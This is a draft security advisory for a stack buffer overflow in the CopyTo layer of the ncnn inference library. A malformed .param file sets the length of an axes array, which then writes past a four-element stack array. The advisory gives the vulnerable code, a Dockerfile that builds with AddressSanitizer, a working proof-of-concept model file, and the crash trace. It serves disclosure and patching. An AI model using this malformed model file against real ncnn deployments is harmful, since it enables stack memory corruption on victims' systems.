All advisories
Draft

CopyTo Stack Buffer Overflow From Malformed Model Parameters

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

CopyTo Stack Buffer Overflow From Malformed Model Parameters

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/copyto.cpp:162 in CopyTo::resolve_copyto_offset
Sanitizer verdict: stack-buffer-overflow

Summary

An attacker who can get a .param file processed by ncnnoptimize (or any host application that calls Net::load_param plus Extractor::extract) gains an out-of-bounds write of attacker-chosen 32-bit values onto the stack frame of CopyTo::resolve_copyto_offset. The CopyTo layer's axes array length is taken directly from the model file and used as the loop bound for a fixed four-element local array. A five-element axes list writes one word past the array; a longer list walks further up the frame, past the saved registers and return address.

Detail

CopyTo::load_param reads parameter key 11 into the axes Mat with no length constraint — axes = pd.get(11, Mat()); — and key 9 into starts. ParamDict accepts any array length the text or binary param file declares, so axes.w is fully attacker-controlled.

CopyTo::forward clones the destination blob and then calls resolve_copyto_offset, which copies every entry of axes into a four-element automatic array before it ever looks at the tensor rank:

// src/layer/copyto.cpp:149
        int _axes[4] = {0, 1, 2, 3};
        int num_axis = axes.w;
        if (num_axis == 0)
        {
            num_axis = dims;
        }
        else
        {
            for (int i = 0; i < num_axis; i++)
            {
                int axis = axes_ptr[i];
                if (axis < 0)
                    axis = dims + axis;
                _axes[i] = axis;
            }
        }

num_axis is axes.w. Nothing clamps it to 4, and nothing compares it against dims or against starts.w. The only sanity comment in the file is the // assert style expectation that callers pass well-formed models.

The PoC declares -23311=5,0,1,2,3,0, so axes.w == 5. The loop runs for i = 0..4; at i == 4 the store _axes[i] = axis writes 4 bytes at _axes + 16, immediately past the 16-byte array. ASan reports the write at offset 48 in a frame where _axes occupies [32, 48). Because both the count and the stored values come from the param file, an attacker chooses how far past the array to write and what to write there.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-copyto-stack-buffer-overflow-from-malformed-model-parameters && cd ncnn-poc-copyto-stack-buffer-overflow-from-malformed-model-parameters

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
3 3
Input self 0 1 self 0=2
Input src 0 1 src 0=1
CopyTo copy 2 1 self src out -23309=5,0,1,2,3,0 -23311=5,0,1,2,3,0
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7a3071502870 at pc 0x5b077c668003 bp 0x7ffdbba307f0 sp 0x7ffdbba307e0
WRITE of size 4 at 0x7a3071502870 thread T0
    #0 0x5b077c668002 in ncnn::CopyTo::resolve_copyto_offset(ncnn::Mat const&, int&, int&, int&, int&) const /ncnn/src/layer/copyto.cpp:162
    #1 0x5b077c66004d in ncnn::CopyTo::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/copyto.cpp:68
    #2 0x5b07738c370b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #3 0x5b07738abb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5b077390b9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5b077379d3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5b077381aeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7a30737471c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7a307374728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5b077379a624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

Address 0x7a3071502870 is located in stack of thread T0 at offset 48 in frame
    #0 0x5b077c6678e7 in ncnn::CopyTo::resolve_copyto_offset(ncnn::Mat const&, int&, int&, int&, int&) const /ncnn/src/layer/copyto.cpp:131

  This frame has 1 object(s):
    [32, 48) '_axes' (line 149) <== Memory access at offset 48 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /ncnn/src/layer/copyto.cpp:162 in ncnn::CopyTo::resolve_copyto_offset(ncnn::Mat const&, int&, int&, int&, int&) const

Credit

Zheng Yu @ DepthFirst